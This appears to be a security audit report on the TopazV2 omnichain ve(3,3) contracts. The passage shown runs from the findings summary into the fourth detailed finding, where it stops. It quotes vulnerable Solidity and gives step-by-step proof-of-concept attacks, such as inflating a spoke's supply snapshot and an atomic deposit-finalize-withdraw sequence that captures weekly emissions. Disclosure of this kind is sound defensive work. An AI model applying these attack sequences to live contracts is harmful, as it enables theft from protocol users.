



SMART CONTRACT SECURITY ASSESSMENT

TopazV2

— OMNICHAIN VE(3,3)

SECURITY REVIEW

12 SEPTEMBER 2026

rt contracts, our shielding · Your smart contracts, our shielding · Your smart contracts, our shielding · Your smart contracts

Contents

1	About Shieldify	3
2	Disclaimer	3
3	About TopazV2	3
4	Risk Classification	4
4.1	Impact	4
4.2	Likelihood	4
5	Security Review Summary	5
5.1	Protocol Summary	5
5.2	Scope	5
6	Findings Summary	6
7	Findings	8

1 About Shieldify

Positioned as the first hybrid Web3 Security company, Shieldify shakes things up with a unique subscription-based auditing model that entitles the customer to unlimited audits within its duration, as well as top-notch service quality thanks to a disruptive 6-layered security approach. The company works with very well-established researchers in the space and has secured multiple millions in TVL across protocols, also can audit codebases written in Solidity, Vyper, Rust, Cairo, Move and Go.

Learn more about us at shieldify.org.

2 Disclaimer

This security review does not guarantee bulletproof protection against a hack or exploit. Smart contracts are a novel technological feat with many known and unknown risks. The protocol, which this report is intended for, indemnifies Shieldify Security against any responsibility for any misbehavior, bugs, or exploits affecting the audited code during any part of the project's life cycle. It is also pivotal to acknowledge that modifications made to the audited code, including fixes for the issues described in this report, may introduce new problems and necessitate additional auditing.

3 About TopazV2

Topaz is a ve(3,3) automated market maker on BNB Chain. It pairs Solidly-style stable and volatile pool math with Slipstream-style concentrated liquidity, and wraps both in a vote-escrow system where locked TOPAZ (veTOPAZ) directs weekly emissions to gauges, and voters collect the trading fees and incentives of the pools they vote for.

TopazV2 extends that single-chain design into a hub-and-spoke omnichain system built on LayerZero V2. BNB Chain remains the hub, where the ve(3,3) machinery and the canonical TOPAZ lock live; other chains participate as spokes that receive a share of each week's emissions and run their own local voting.

At a high level, the main components are:

- **VeTopazVault** - the hub vault. Users deposit TOPAZ or wrap an existing permanent veTOPAZ NFT into a single aggregate lock and receive **xTOPAZ** shares priced off the aggregate's TOPAZ balance. Redemption splits a fresh permanent veNFT back out of the aggregate.
- **SystemGauge** / **SystemGaugeStrategy** - a dedicated non-streaming gauge and its strategy. The strategy votes the aggregate veNFT for the system pool each epoch and claims the resulting TOPAZ in one lump sum rather than streaming it over the week.

- **EpochCoordinator** - the weekly settlement engine on the hub. It triggers distribution, claims the system gauge's emission, snapshots each spoke's **xTOPAZ** supply, splits the week's budget across spokes in proportion to that supply, and sends each spoke its share.
- **Bridging layer** - **XTopazOFTAdapter** on the hub and **XTopazOFT** on each spoke move **xTOPAZ** across chains, with **DualRateLimiter** capping per-route throughput and per-**eid** supply accounting backing the budget split. Composer contracts (**HubUnwrapComposer** , **SpokeBudgetComposer** , **SpokeStakeComposer**) turn a bridged transfer into an unwrap, a budget delivery, or a spoke stake in one message.
- **Spoke voting** - **XTopazVotingVault** lets spoke users stake **xTOPAZ** into time-locked positions and vote on local gauges, with **SpokeEmissionReceiver** forwarding the delivered budget into the spoke's Voter.
- **Periphery** - **WrapRouter** and **XTopazZap** bundle swap, deposit/wrap and bridge into single user-facing calls.

4 Risk Classification

SEVERITY	IMPACT: HIGH	IMPACT: MEDIUM	IMPACT: LOW
Likelihood: High	 CRITICAL	 HIGH	 MEDIUM
Likelihood: Medium	 HIGH	 MEDIUM	 LOW
Likelihood: Low	 MEDIUM	 LOW	 LOW

4.1 Impact

- **High** - results in a significant risk for the protocol's overall well-being. Affects all or most users
- **Medium** - results in a non-critical risk for the protocol affects all or only a subset of users, but is still unacceptable
- **Low** - losses will be limited but bearable, and covers vectors similar to griefing attacks that can be easily repaired

4.2 Likelihood

- **High** - almost certain to happen and highly lucrative for execution by malicious actors
- **Medium** - still relatively likely, although only conditionally possible
- **Low** - requires a unique set of circumstances and poses non-lucrative cost-of-execution to rewards ratio for the actor

5 Security Review Summary

The security review lasted 8 days with a total of 192 hours dedicated to the audit by the Shieldify team.

Overall, the code is well-written. The audit report contributed by identifying eleven Medium and two Low severity issues. They're mainly related to the weekly settlement sequence on the hub - where the vote, the emission claim and the budget split are separate permissionless steps - to lump-sum reward crediting that pays out by balance at the instant of the credit rather than by holding period, to bootstrap and factory assumptions that the deployed wiring does not enforce, and to cross-chain message and rate-limit handling at the bridge boundary.

The Topaz team has done a great job with their test suite and provided support and responses to all of the questions that the Shieldify researchers had.

5.1 Protocol Summary

PROJECT NAME	TOPAZV2
Repository	topaz-multichain-audit
Type of Project	Omnichain ve(3,3) Liquidity & Emissions Protocol (LayerZero hub-and-spoke)
Security Review Timeline	8 days
Review Commit Hash	36d88acf52c828a9beedc71ab05286e12c30409e
Fixes Review Commit Hash	1099f2d027e512247b654a29756581c30ef69cc8

5.2 Scope

The security review covered the two TopazV2 codebases below. Per-file nSLOC counts were not part of the material supplied for this engagement and are therefore not reported.

COMPONENT	CONTRACTS IN SCOPE
Hub (<code>topaz-xchain</code>)	<code>hub/VeTopazVault.sol</code> , <code>hub/EpochCoordinator.sol</code> , <code>hub/SystemGauge.sol</code> , <code>hub/SystemGaugeStrategy.sol</code> , <code>hub/SystemGaugeFactory.sol</code> , <code>hub/FixedSupplyDummyToken.sol</code>
Bridge	<code>bridge/XTopazOFTAdapter.sol</code> , <code>bridge/XTopazOFT.sol</code> , <code>bridge/DualRateLimiter.sol</code> , <code>bridge/ComposerBase.sol</code> , <code>bridge/HubUnwrapComposer.sol</code> , <code>bridge/SpokeBudgetComposer.sol</code> , <code>bridge/SpokeStakeComposer.sol</code>

COMPONENT	CONTRACTS IN SCOPE
Periphery	periphery/WrapRouter.sol , periphery/XTopazZap.sol , periphery/BridgeHelper.sol
Spoke (topaz-spoke-contracts)	XTopazVotingVault.sol , SpokeEmissionReceiver.sol
Deployment	deploy/O3_hub_system_gauge.ts , deploy/O4_hub_adapter.ts , layerzero.config.ts , config/deploy/*.json

The BNB Chain ve(3,3) core inherited from the Aerodrome / Velodrome lineage (Voter , VotingEscrow , Minter , Pool , PoolFactory , RewardsDistributor) was treated as a known-good baseline and was not re-derived line by line. It is referenced in this report only where TopazV2's own contracts depend on its behaviour.

6 Findings Summary

The following number of issues have been identified, sorted by their severity:

- **Medium** issues: 11
- **Low** issues: 2
- **Info** issues: 12

ID	TITLE	SEVERITY	STATUS
[M-01]	supplyByEid Inflation Distorts a Spoke's Epoch Budget Snapshot at No Capital Cost	MEDIUM	ACKNOWLEDGED
[M-02]	SystemGauge.deposit() Has No Staker Restriction, Letting Any LP Holder Capture a Pro-Rata Share of the Epoch's Emissions	MEDIUM	ACKNOWLEDGED
[M-03]	No Minimum Holding Period Between Deposit/Wrap and Redeem Lets a Transient Depositor Capture Any TOPAZ Inflow	MEDIUM	ACKNOWLEDGED
[M-04]	DualRateLimiter Buckets Are Shared Per-Route and Can Be Cheaply Exhausted with Round-Tripped Capital	MEDIUM	ACKNOWLEDGED
[M-05]	Permissionless reset() Can Redirect the Week's Entire Spoke Allocation	MEDIUM	FIXED
[M-06]	Redemption Can Permanently Strand the Aggregate NFT's Epoch Bribes	MEDIUM	ACKNOWLEDGED

ID	TITLE	SEVERITY	STATUS
[M-07]	A Killed Gauge Blocks Every Exit from an Unlocked Current-Epoch Position	MEDIUM	ACKNOWLEDGED
[M-08]	The Enforced Hub Compose Gas Cannot Complete Bridge-Back-and-Unwrap	MEDIUM	FIXED
[M-09]	A Permissionless <code>SystemGauge</code> Lets Its First Later Staker Capture the Whole Banked Allocation	MEDIUM	FIXED
[M-10]	Entering the Hub Vault After the Vote but Before <code>finalize()</code> Snipes the Week's Emission	MEDIUM	FIXED
[M-11]	Front-Running the Initial System-Pool Mint Captures Almost All Weekly TOPAZ	MEDIUM	FIXED
[L-01]	<code>quoteZap()</code> Can Return a Stale Share Quote Because It Does Not Sync the Vault's Rebase	LOW	ACKNOWLEDGED
[L-02]	A Zero Rate Limit with a Non-Zero Window Is Silently Unlimited	LOW	FIXED
[I-01]	<code>send()</code> 's Embedded Exchange Rate Is Recomputed Live Rather Than Snapshotted at <code>finalize()</code>	INFO	ACKNOWLEDGED
[I-02]	<code>depositTopaz()</code> Lacks a Minimum-Shares-Out Slippage Check	INFO	ACKNOWLEDGED
[I-03]	Tokens Sent to the Router or Zap by Mistake Are Lost Forever	INFO	ACKNOWLEDGED
[I-04]	Anyone Can Flood an Account with Staking Positions, Degrading Its Interface Views	INFO	ACKNOWLEDGED
[I-05]	A veNFT Transferred Directly to the Vault Is Lost Forever	INFO	ACKNOWLEDGED
[I-06]	A Dirty 32-Byte Compose Recipient Bypasses Fallback Handling	INFO	FIXED
[I-07]	Sub-Packet Spoke-Budget Remainders Require Owner Reconciliation	INFO	ACKNOWLEDGED
[I-08]	Router-Mediated Fallback Can Create an Unrecoverable Router-Owned Position	INFO	FIXED
[I-09]	Empty Compose Messages Require Owner Recovery	INFO	FIXED

ID	TITLE	SEVERITY	STATUS
[I-10]	<code>VeTopazVault.setStrategy()</code> Accepts the Zero Address	● INFO	FIXED
[I-11]	Gauge-Claimed Emissions Are Not Separated from the Total Amount Locked	● INFO	ACKNOWLEDGED
[I-12]	Direct Transfers to <code>VeTopazVault</code> Can Trap xTOPAZ and veNFTs	● INFO	ACKNOWLEDGED

7 Findings

M-01

● MEDIUM

ACKNOWLEDGED

`supplyByEid` Inflation Distorts a Spoke's Epoch Budget Snapshot at No Capital Cost

Description

`XTopazOFTAdapter._debit()` increments `supplyByEid[dstEid]` the instant a send is *committed* on BNB – not when it's *confirmed delivered* on the destination spoke:

```
function _debit(address from, uint256 amountLD, uint256 minAmountLD, uint32 dstEid)
    internal override returns (uint256 amountSentLD, uint256 amountReceivedLD)
{
    if (routePaused[dstEid]) revert RoutePaused(dstEid);
    (amountSentLD, amountReceivedLD) = super._debit(from, amountLD, minAmountLD, dstEid);
    _outflow(dstEid, amountSentLD);
    supplyByEid[dstEid] += amountSentLD; // written unconditionally, before the packet is even dispatched
}
```

`EpochCoordinator._snapshotSupplies()` reads this counter directly and uses it, unverified, to compute that spoke's share of the week's emission budget – a value that's written once and never revisited:

```
uint256 supply = adapter.supplyByEid(eid);
spokeSupply[epoch][eid] = supply;
assigned += supply;
...
budget = canonical == 0 ? 0 : (budgetShares * supply) / canonical;
chainBudget[epoch][eid] = budget; // fixed for the epoch the instant finalize() runs
```

Normally, this gap between "committed on BNB" and "confirmed on the spoke" is just the ordinary cross-chain confirmation delay (minutes). The bug is that `DualRateLimiter` gives an attacker a lever to *deliberately extend that gap up to the full rate-limit window* – and the mechanism that makes it possible is that a delivery attempt which fails the rate check reverts **before writing any state**, so it neither consumes capacity nor blocks anything that comes after it:

```
function _consume(Limit storage entry, uint32 eid, bool outbound, uint256 amount) private {
    if (entry.limit == 0) return;
    (uint256 inFlight, uint256 available) = _decayed(entry);
    if (amount > available) revert RateLimitExceeded(eid, outbound, amount, available); // no write happens
    entry.amountInFlight = uint192(inFlight + amount);
    entry.lastUpdated = uint64(block.timestamp);
}
```

Because LayerZero V2 defaults to unordered execution (nothing in this codebase opts into ordered delivery), that reverted delivery is not a blocking queue head – it's simply an isolated, forever-retryable, unexecuted nonce sitting on the destination endpoint. Any other, smaller send to the same spoke that fits within currently-available capacity executes completely independently and successfully, with no dependency on the stuck one at all.

Put together: an attacker can strand an arbitrarily-sized (up to the route's configured limit) chunk of committed-but-undelivered value against a single spoke, then call the fully permissionless `EpochCoordinator.finalize()` at the exact moment that stranded amount is still sitting in `supplyByEid`, locking a distorted budget allocation into that epoch's `chainBudget` before the stuck packet ever has a chance to land or fail permanently.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/XTopazOFTAdapter.sol#L71-L81](#)

```
function _debit(
    address from,
    uint256 amountLD,
    uint256 minAmountLD,
    uint32 dstEid
) internal override returns (uint256 amountSentLD, uint256 amountReceivedLD) {
    if (routePaused[dstEid]) revert RoutePaused(dstEid);
    (amountSentLD, amountReceivedLD) = super._debit(from, amountLD, minAmountLD, dstEid);
    _outflow(dstEid, amountSentLD);
    supplyByEid[dstEid] += amountSentLD;
}
```

File: [topaz-xchain/contracts/bridge/DualRateLimiter.sol#L73-L79](#)

```

function _consume(Limit storage entry, uint32 eid, bool outbound, uint256 amount) private {
    if (entry.limit == 0) return;
    (uint256 inFlight, uint256 available) = _decayed(entry);
    if (amount > available) revert RateLimitExceeded(eid, outbound, amount, available);
    entry.amountInFlight = uint192(inFlight + amount);
    entry.lastUpdated = uint64(block.timestamp);
}

```

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L203-L226](#)

```

function _snapshotSupplies(uint256 epoch) internal returns (uint256 canonical, uint256 assigned) {
    canonical = XTOPAZ.totalSupply();
    uint256 count = eids.length;
    for (uint256 i; i < count; i++) {
        uint32 eid = eids[i];
        if (!chains[eid].enabled) continue;
        uint256 supply = adapter.supplyByEid(eid);
        spokeSupply[epoch][eid] = supply;
        assigned += supply;
    }
}

function _assignBudgets(uint256 epoch, uint256 budgetShares, uint256 canonical) internal returns (uint256 minted) {
    uint256 count = eids.length;
    for (uint256 i; i < count; i++) {
        uint32 eid = eids[i];
        if (!chains[eid].enabled) continue;
        uint256 supply = spokeSupply[epoch][eid];
        uint256 budget = canonical == 0 ? 0 : (budgetShares * supply) / canonical;
        chainBudget[epoch][eid] = budget; // written once per epoch, never recalculated
        minted += budget;
        emit ChainBudget(epoch, eid, supply, budget);
    }
}

```

Impact

- **Budget misallocation, locked in for the whole epoch.** `chainBudget[epoch][eid]` is set once, at `finalize()`, and `_assignBudgets` never re-reads `adapter.supplyByEid` afterwards. A spoke whose `supplyByEid` was inflated at snapshot time is credited a larger proportional share of that week's emissions than the xTOPAZ actually circulating there justifies – value that would otherwise track real per-spoke supply (and, in aggregate, back the exchange rate for every holder) is redirected to whichever spoke the attacker chose to inflate, for that epoch.
- **No capital risk to the attacker.** Every send the attacker makes to build up `inFlight` on the target route is a real, successful bridge – they receive genuine, spendable xTOPAZ on the spoke each time. The only send that "fails" is the deliberately oversized one, and a revert there costs only gas plus the (fully recoverable, still-retryable) locked value of that one packet.
- **Fully attacker-timed, no dependency on a keeper.** `finalize()` is permissionless, so the attacker doesn't need to wait for or race a keeper's call – they control both when the stranding happens and the exact block in which the distorted snapshot gets locked in.
- **Organic version exists too.** The same divergence can happen with zero adversarial intent: ordinary congestion on a popular hub→spoke route around the time `finalize()` / `send()` would naturally fire produces the identical stuck-packet-plus-inflated-counter state. Worth treating as an operational risk independent of the adversarial framing.
- Not a solvency issue – `supplyByEid` is never permanently wrong (the stuck packet, once retrieved successfully or reconciled via `reconcileSupply`, brings it back in line), and no other spoke's collateral is directly touched. The damage is confined to one epoch's allocation being wrong, not the underlying accounting invariant.

Proof of Concept

A single spoke, `B`, is enough – no second spoke is needed.

1. `B`'s inbound limit (`BNB → B`) is configured at `limit = L`, `window = W` (e.g. the launch policy's 500,000 xTOPAZ / 24h).
2. Attacker sends several ordinary transfers `BNB → B` over a short span, each succeeding normally and each incrementing `supplyByEid[B]` on the adapter. Cumulative `inFlight` on `B`'s inbound bucket climbs to just under `L`.
3. Attacker sends one more transfer, `amount`, sized `available < amount <= L`.
 - On `BNB`: `_debit()` succeeds – route isn't paused, outbound bucket for `B` is a *separate, independent* counter from `B`'s inbound bucket and isn't near its own limit. `supplyByEid[B] += amount` commits in this same, already-mined `BNB` transaction.
 - On `B`: the packet is verified, but when executed, `XTopazOFT_credit → _inflow → _consume` reverts with `RateLimitExceeded` – *before writing any state*. The packet is now an isolated, unexecuted, forever-retryable nonce. `B`'s `inFlight` is unchanged by this attempt.

4. Attacker immediately calls `EpochCoordinator.finalize()` (permissionless, callable by anyone once past rollover). `_snapshotSupplies()` reads `adapter.supplyByEid[B]`, which still includes the stuck amount from step 3 – B's real circulating supply is `amount` short of what's recorded. `_assignBudgets()` computes and permanently fixes `chainBudget[epoch][B]` off the inflated figure.
5. Time passes; B's `inFlight` decays; someone (anyone) retries the stuck packet from step 3 and it now succeeds, `supplyByEid[B]` becomes accurate again – but `chainBudget[epoch][B]` from step 4 was already locked in at the inflated value and is never recalculated.

Because the failed attempt in step 3 never touched B's rate-limiter state, and V2's unordered execution means the stuck nonce never blocks anything after it, this whole sequence works exactly as reasoned above with no special ordering tricks and no dependency on any other spoke.

Recommendation

Don't let `_snapshotSupplies()` treat "committed on the source" as equivalent to "confirmed on the destination." Two independent options, either sufficient on its own:

- Track `supplyByEid` in two parts – a `pending` /in-flight amount written at `_debit`, and a `confirmed` amount incremented only when the corresponding `_credit()` actually succeeds on the spoke. This requires a lightweight acknowledgement path back to the adapter.
- Or accept that `supplyByEid` as currently defined is really "cumulative debited," and have `_snapshotSupplies()` subtract each route's currently-in-flight rate-limit amount – the adapter's own `outboundLimits[eid].amountInFlight` – from the raw counter before using it. That in-flight figure is exactly the upper bound on "sent but not necessarily yet landed."

Team Response

Acknowledged.

M-02

● MEDIUM

ACKNOWLEDGED

`SystemGauge.deposit()` **Has No Staker Restriction, Letting Any LP Holder Capture a Pro-Rata Share of the Epoch's Emissions**

Description

`SystemGauge`'s header comment states the design intent plainly: *"The strategy is the only staker, so the whole weekly allocation is locked into the aggregate veNFT in the same transaction that finalizes the epoch."* Nothing in the contract enforces that. `deposit()` / `deposit(amount, recipient)` are open to any holder of `stakingToken`, with no `onlyStrategy` or allowlist check anywhere in the deposit path:

```
function deposit(uint256 amount) external {
    _deposit(amount, msg.sender);
}
```

```

function deposit(uint256 amount, address recipient) external {
    _deposit(amount, recipient);
}

function _deposit(uint256 amount, address recipient) internal nonReentrant {
    if (amount == 0) revert ZeroAmount();
    if (!IVoter(voter).isAlive(address(this))) revert NotAlive();
    _updateRewards(recipient);
    IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), amount);
    totalSupply += amount;
    balanceOf[recipient] += amount;
    // code
}

```

`withdraw()` has no lockup either – a depositor can pull their stake back the block after depositing, or in the same transaction via a helper contract.

The reward math itself is the classic **lump-sum-credit-to-current-`totalSupply`** pattern, not a time-weighted or streamed accrual:

```

function notifyRewardAmount(uint256 amount) external nonReentrant {
    if (msg.sender != voter) revert NotVoter();
    // code
    _credit(amount + unallocated); // one-shot, no vesting, no per-second rate
    // code
}

function _credit(uint256 amount) internal {
    rewardPerTokenStored += Math.ceilDiv(amount * PRECISION, totalSupply); // divides by *current* totalSupply
}

function earned(address account) public view returns (uint256) {
    return (balanceOf[account] * (rewardPerTokenStored - userRewardPerTokenPaid[account])) / PRECISION +
    rewards[account];
}

```

Because `_credit()` divides the notified amount by whatever `totalSupply` happens to be **at the instant** `notifyRewardAmount()` runs, and `earned` only cares about the delta in `rewardPerTokenStored` since a staker's last checkpoint, a staker's *duration* of stake is irrelevant to their share – only their balance at the moment of the credit matters. A depositor who arrives one block before the credit and leaves one block after is paid exactly the same pro-rata share as someone who had been staked the entire epoch.

Location of Affected Code

File: [topaz-xchain/contracts/hub/SystemGauge.sol](https://github.com/shieldify/topaz-xchain/blob/master/contracts/hub/SystemGauge.sol)

```

function deposit(uint256 amount) external {
    _deposit(amount, msg.sender);
}

function deposit(uint256 amount, address recipient) external {
    _deposit(amount, recipient);
}

function withdraw(uint256 amount) external nonReentrant {
    _updateRewards(msg.sender);
    totalSupply -= amount;
    balanceOf[msg.sender] -= amount;
    IERC20(stakingToken).safeTransfer(msg.sender, amount);
    emit Withdraw(msg.sender, amount);
}

function notifyRewardAmount(uint256 amount) external nonReentrant {
    if (msg.sender != voter) revert NotVoter();
    if (amount == 0) return;
    IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
    uint256 epoch = EpochLib.epochStart(block.timestamp);
    notifiedByEpoch[epoch] += amount;
    totalNotified += amount;
    lastNotifiedAt = block.timestamp;
    emit NotifyReward(msg.sender, amount);
    if (totalSupply == 0) {
        unallocated += amount;
        emit RewardBanked(amount);
        return;
    }
    _credit(amount + unallocated);
    if (unallocated > 0) {
        emit RewardReleased(unallocated);
        unallocated = 0;
    }
}

function _deposit(uint256 amount, address recipient) internal nonReentrant {
    if (amount == 0) revert ZeroAmount();
    if (!IVoter(voter).isAlive(address(this))) revert NotAlive();
    _updateRewards(recipient);
    IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), amount);
    totalSupply += amount;
    balanceOf[recipient] += amount;
    emit Deposit(msg.sender, recipient, amount);
    if (unallocated > 0) {
        uint256 banked = unallocated;
        unallocated = 0;
        _credit(banked);
    }
}

```

```

    emit RewardReleased(banked);
  }
}

function _credit(uint256 amount) internal {
    rewardPerTokenStored += Math.ceilDiv(amount * PRECISION, totalSupply);
}

```

Impact

Let S be `SystemGaugeStrategy`'s stake (the intended, sole staker) and a be an attacker's freshly deposited amount. If the attacker deposits a before the epoch's `notifyRewardAmount(weeklyAmount)` fires:

- `rewardPerTokenStored` increases by $\text{weeklyAmount} / (S + a)$ instead of $\text{weeklyAmount} / S$.
- The attacker's `earned()` is $a * \text{weeklyAmount} / (S + a)$ – claimable immediately via `getReward`, withdrawable immediately via `withdraw`, no vesting, no minimum hold time.
- `SystemGaugeStrategy.claimEmissions()` – and therefore `budgetTopaz` in `EpochCoordinator.finalize()` – collects only $S * \text{weeklyAmount} / (S + a)$, a permanent, non-recoverable shortfall for that epoch. Every enabled spoke's `chainBudget[epoch][eid]` is computed off this reduced figure, so the loss is socialized across every spoke's stakers, not just the protocol treasury.
- **This does not require winning a mempool race.** `EpochCoordinator.finalize()` is fully permissionless. An attacker can deploy a small orchestrator contract that, in one atomic transaction: (1) `SystemGauge.deposit(a)`, (2) `EpochCoordinator.finalize()`, (3) `SystemGauge.getReward(self)`, (4) `SystemGauge.withdraw(a)`. There is no front-running, no timing risk, no competition with a keeper – the attacker simply calls `finalize()` themselves at the moment of their choosing, with their own deposit already in place. This can be repeated every epoch at will.
- The larger a relative to S , the larger the attacker's share – an attacker able to stake even briefly at a multiple of S 's size (e.g. via a flash loan of `stakingToken`, if the underlying LP is ever borrowable) could capture the overwhelming majority of a given epoch's entire emission.

Recommendation

Restrict staking to the strategy directly, matching the contract's documented design:

```

error NotStrategy();

function deposit(uint256 amount) external {
    if (msg.sender != IEpochCoordinator(...).strategy()) revert NotStrategy(); // or an immutable STRATEGY address
    _deposit(amount, msg.sender);
}

```

Or, more simply: make `stakingToken` /staking entirely internal, and have `SystemGaugeStrategy` be the only address the constructor or an owner-set immutable ever authorizes to call `_deposit()` / `withdraw()`. Do this regardless of whether the `FixedSupplyDummyToken` exclusivity is believed sufficient today – the gauge should not depend on an incidental property of a different contract to hold an invariant it claims for itself.

Team Response

Acknowledged.

M-03

MEDIUM

ACKNOWLEDGED

No Minimum Holding Period Between Deposit/Wrap and Redeem Lets a Transient Depositor Capture Any TOPAZ Inflow

Description

`VeTopazVault` prices every entry and exit off the same two numbers – `totalAssets()` (the aggregate `veTOPAZ` lock's TOPAZ amount) and `totalShares()` (`xTOPAZ.totalSupply()`) – and every user-facing function that touches either one starts by calling `_syncRebase()`:

```
function _syncRebase() internal {
    _lockLoose();
    if (MINTER.activePeriod() < EpochLib.epochStart(block.timestamp)) MINTER.updatePeriod();
    uint256 tokenId = aggregateTokenId;
    if (DISTRIBUTOR.claimable(tokenId) == 0) return;
    uint256 assetsBefore = totalAssets();
    uint256 claimed = DISTRIBUTOR.claim(tokenId);
    emit RebaseClaimed(claimed, assetsBefore, totalAssets());
    _emitRate();
}

function _lockLoose() internal returns (uint256 amount) {
    amount = TOPAZ.balanceOf(address(this));
    if (amount == 0) return 0;
    _lockIntoAggregate(amount); // grows totalAssets(), mints nothing
    emit DonationLocked(amount);
    _emitRate();
}
```

Both sweeps grow `totalAssets()` with **no corresponding growth in** `totalShares()` – the defining shape of a lump-sum, unvested yield event. `_syncRebase()` runs, and the resulting new rate is used, in the *same* transaction, for whoever happens to be depositing or redeeming right then:

```

function depositTopaz(uint256 amount, address receiver) external nonReentrant whenInitialized returns (uint256 shares) {
    // code
    _syncRebase();
    shares = convertToShares(amount); // priced at whatever rate _syncRebase() just produced
    // code
}

function redeem(uint256 shares, address receiver) external nonReentrant returns (uint256 tokenId, uint256 assets) {
    // code
    _syncRebase();
    _requireRebaseDrained(aggregateTokenId);
    assets = convertToAssets(shares); // same
    // code
}

```

There is no minimum holding period, no vesting/streaming of a newly-synced amount, and no distinction anywhere in the accounting between a share that's been held for months and one minted a block ago. A depositor's *duration* of exposure is irrelevant to how much of a lump-sum inflow they're entitled to – only whether they hold shares at the instant the sync happens.

Two independent sources feed this same lump-sum-into- `totalAssets()` path:

1. **The weekly rebase.** `DISTRIBUTOR.claimable(aggregateTokenId)` becomes non-zero at predictable, checkpoint-based intervals (tied to the Minter's period, same cadence referenced throughout the epoch machinery). Whoever's transaction happens to run `_syncRebase()` first after that checkpoint realizes the whole backlog at once.
2. `claimSystemRewards()`, which claims bribes owed to the aggregate NFT and – if the bribe reward token happens to be TOPAZ – lands it as loose balance in the vault, picked up by the very next `_lockLoose()` inside anyone's next `_syncRebase()` call:

```

/// @notice Claims voting rewards owed to the aggregate NFT, such as bribes donated to the system gauge.
/// Tokens land in the vault: the owner sweeps them, and TOPAZ is locked without minting.
function claimSystemRewards(
    address[] calldata rewards,
    address[][] calldata tokens
) external nonReentrant onlyStrategy whenInitialized {
    VOTER.claimBribes(rewards, tokens, aggregateTokenId);
}

```

Both are, functionally, the same bug as `SystemGauge.notifyRewardAmount`'s lump-sum credit (see M-02): a non-streamed, non-vested increase attributed entirely to whoever is present at the instant of the credit rather than to whoever was present *while it accrued*.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol](#)

```
function depositTopaz(
    uint256 amount,
    address receiver
) external nonReentrant whenInitialized returns (uint256 shares) {
    if (!canEnter()) revert EntryClosed();
    if (amount == 0) revert ZeroAmount();
    if (receiver == address(0)) revert ZeroAddress();
    _syncRebase();
    shares = convertToShares(amount);
    if (shares == 0) revert ZeroShares();
    TOPAZ.safeTransferFrom(msg.sender, address(this), amount);
    _lockIntoAggregate(amount);
    XTOPAZ.mint(receiver, shares);
    _syncVoteWeight();
    emit Deposited(msg.sender, receiver, amount, shares);
    _emitRate();
}

function redeem(uint256 shares, address receiver) external nonReentrant returns (uint256 tokenId, uint256 assets) {
    if (!canUnwrap()) revert UnwrapClosed();
    if (shares == 0) revert ZeroAmount();
    if (receiver == address(0)) revert ZeroAddress();
    _syncRebase();
    _requireRebaseDrained(aggregateTokenId);
    assets = convertToAssets(shares);
    if (assets == 0) revert ZeroAmount();
    if (totalAssets() - assets < minimumSeedAssets) revert SeedProtected();
    // code
}

function claimSystemRewards(
    address[] calldata rewards,
    address[][] calldata tokens
) external nonReentrant onlyStrategy whenInitialized {
    VOTER.claimBribes(rewards, tokens, aggregateTokenId);
}

function _syncRebase() internal {
    _lockLoose();
    if (MINTER.activePeriod() < EpochLib.epochStart(block.timestamp)) MINTER.updatePeriod();
    uint256 tokenId = aggregateTokenId;
    if (DISTRIBUTOR.claimable(tokenId) == 0) return;
    uint256 assetsBefore = totalAssets();
    uint256 claimed = DISTRIBUTOR.claim(tokenId);
```

```
emit RebaseClaimed(claimed, assetsBefore, totalAssets());
_emitRate();
}
```

Impact

Let TA be `totalAssets()` and TS be `totalShares()` just before a lump-sum inflow I is synced (rebase backlog, or TOPAZ-denominated bribes). An attacker who deposits a TOPAZ *before* the sync and redeems immediately *after* it:

- Deposits before sync: $s = a * TS / TA$ shares, at the pre-inflow rate.
- Inflow syncs (via anyone's transaction, including the attacker's own subsequent call to the fully permissionless `claimRebase()`): $TA' = TA + I$, $TS' = TS + s$ (unchanged by the sync itself, only by the earlier deposit).
- Redeems: $assets_out = s * TA' / TS' = s * (TA + I) / (TS + s)$.

The attacker's profit is their pro-rata share of $I - s / (TS + s) * I$ – despite having been exposed to the vault for only the gap between two of their own transactions. Every pre-existing holder who does *not* redeem around the event still gets their fair pro-rata share too, but the attacker's presence dilutes what genuinely long-term holders should have captured relative to their actual holding period, and – more importantly – the attacker captured value with zero holding-period risk that a real depositor implicitly takes on.

- No solvency impact: `totalAssets()` always backs `totalShares()` fully; nothing is ever lost from the vault, only redistributed among whoever holds shares at sync time.
- Fully deterministic, no MEV race required for the rebase variant: the checkpoint that makes `DISTRIBUTOR.claimable` non-zero is time-based and public, so an attacker can simply deposit in the last block before it, then trigger the sync themselves (or wait for anyone else's transaction to do it) and redeem.
- Repeatable every time a checkpoint-worthy rebase backlog accrues, or whenever `claimSystemRewards` happens to sweep TOPAZ-denominated bribes.
- Bounded by `canUnwrap()` / `canEnter()` gates (redeem is blocked while the aggregate is currently voted, deposit is blocked during `entryPaused`), so the attacker needs their redeem to fall outside the voting window – normally most of any given week, per the flow documented elsewhere in this engagement.

Recommendation

Same class of fix as M-02 – this is the vault-level instance of the identical "lump-sum credit with no vesting" pattern:

- Introduce a minimum holding period between minting shares (`depositTopaz()` / `wrapVe()`) and redeeming them (`redeem()`), tracked per-account or per-share-cohort.
- Or stream newly synced assets into `totalAssets()` linearly over some window instead of crediting them instantly – mirrors the standard fix for lump-sum reward pools.

Team Response

Acknowledged.

M-04

MEDIUM

ACKNOWLEDGED

DualRateLimiter Buckets Are Shared Per-Route and Can Be Cheaply Exhausted with Round-Tripped Capital

Description

`DualRateLimiter` tracks capacity per remote `eid`, with no per-user sub-allocation – any address's successful transfer consumes the same shared window every other user of that route draws from:

```
mapping(uint32 eid => Limit) public outboundLimits;
mapping(uint32 eid => Limit) public inboundLimits;

function _consume(Limit storage entry, uint32 eid, bool outbound, uint256 amount) private {
    if (entry.limit == 0) return;
    (uint256 inFlight, uint256 available) = _decayed(entry);
    if (amount > available) revert RateLimitExceeded(eid, outbound, amount, available);
    entry.amountInFlight = uint192(inFlight + amount);
    entry.lastUpdated = uint64(block.timestamp);
}
```

Checking the actual deployment configuration rather than the abstract contract, only **one** of the four possible directional buckets in the whole mesh is ever configured with a non-zero limit at launch. `config/deploy/*.json` sets `inboundLimit` only, and `deploy/O4_hub_adapter.ts` applies it only to the hub adapter's per-spoke `inboundLimits`:

```
